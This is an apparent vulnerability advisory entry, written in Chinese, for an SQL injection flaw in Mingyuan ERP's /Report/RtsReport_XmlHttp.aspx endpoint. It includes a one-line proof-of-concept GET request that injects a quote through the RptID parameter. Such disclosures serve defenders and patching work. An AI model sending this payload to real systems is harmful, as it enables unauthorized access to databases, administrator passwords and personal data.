明源云-ERP /Report/RtsReport_XmlHttp.aspx SaveGeneralParam SQL 注入漏洞

2026-02-25 明源云ERP PoC Public

Description

明源地产ERP是一款专为房地产行业设计的企业资源规划（ERP）系统，旨在帮助房地产企业实现全面的信息化管理，提高运营效率和管理水平。该漏洞存在于/Report/RtsReport_XmlHttp.aspx接口，攻击者可以通过该漏洞获取数据库中的敏感信息（如管理员密码、用户个人信息），甚至可能通过高权限操作获取服务器系统权限。

PoC

GET /Report/RtsReport_XmlHttp.aspx/?ywtype=SaveGeneralParam&RptID=1';

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Mingyuan ERP /Report/RtsReport_XmlHttp.aspx SaveGeneralParam SQL Injection Vulnerability

References

Related Vulnerabilities